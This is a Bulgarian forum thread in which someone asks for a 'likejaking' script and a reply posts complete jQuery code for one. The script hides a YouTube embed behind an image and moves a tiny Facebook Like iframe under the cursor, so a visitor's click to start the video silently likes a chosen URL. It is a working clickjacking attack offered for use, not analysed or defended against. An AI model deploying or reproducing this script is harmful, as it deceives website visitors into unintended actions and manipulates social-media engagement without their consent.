Трябва ми likejaking скрипт

От: Трябва ми likejaking скрипт

1 <script type="text/javascript">
2
3 // Put here the url to like, use document.location.href to use current url.
4 var sUrlToLike = 'http://www.site.com/your-url-to-like';
5 // An image to use to replace the YouTube video before the user clicks on it.
6 var sImageToUse = 'http://www.site.com/image-to-use-before-video-gets-loaded.png';
7
8 var oYouTubeFrame = $('iframe[src*="youtube.com/embed/"]');
9 var aMatches = oYouTubeFrame.attr('src').match( /^.+embed\/(.+)/ );
10
11 if( aMatches )
12 {
13 var sInstanceId = 'lj' + ( new Date() ).getTime();
14 var oActiveElement = undefined;
15 var oInterval = undefined;
16 var oRemoveInterval = undefined;
17 var oImage = $( '<img src="' + sImageToUse + '" width="560" height="315"/>' );
18 var oInvisibleDiv = $( '<div/>' );
19 var oIFrame = $( '<iframe id="' + sInstanceId + '"></iframe>' );
20 var sVideoCode = aMatches[1];
21 var bDone = false;
22 var iX = 0;
23 var iY = 0;
24
25 oYouTubeFrame.hide().after( oImage );
26
27 oInterval = setInterval( function()
28 {
29 oActiveElement = $( document.activeElement );
30
31 if( oActiveElement.attr('id') == sInstanceId && bDone == false )
32 {
33 oImage.remove();
34
35 oYouTubeFrame
36 .attr( 'src', 'http://www.youtube.com/embed/' + sVideoCode + '?autoplay=1' )
37 .show();
38
39 bDone = true;
40 oRemoveInterval = setInterval( function()
41 {
42 oInvisibleDiv.remove();
43
44 clearInterval( oRemoveInterval );
45 clearInterval( oInterval );
46 },
47 1000 );
48 }
49 },
50 50 );
51
52 oInvisibleDiv.css
53 ({
54 border : 0,
55 width : '2px',
56 height : '2px',
57 position : 'absolute',
58 background : '#000'
59 });
60
61 oIFrame.css
62 ({
63 border : 0,
64 width : '2px',
65 height : '2px',
66 margin : 0,
67 padding : 0,
68 position : 'absolute'
69 })
70 .attr( 'scrolling', 'no' )
71 .attr( 'frameborder', 'no' )
72 .attr( 'src', 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent( sUrlToLike ) + '&show_faces=false' )
73 .appendTo( oInvisibleDiv );
74
75 oInvisibleDiv.appendTo('body');
76
77 $('body').mousemove( function(e)
78 {
79 iX = e.pageX;
80 iY = e.pageY;
81
82 oInvisibleDiv.css
83 ({
84 left : ( e.pageX - 1 ) + 'px',
85 top : ( e.pageY - 1 ) + 'px'
86 });
87 });
88 }
89
90 </script>

НЕ си казал какъв точно търсиш, това е скрипт за клипове от youtube.
 

Горе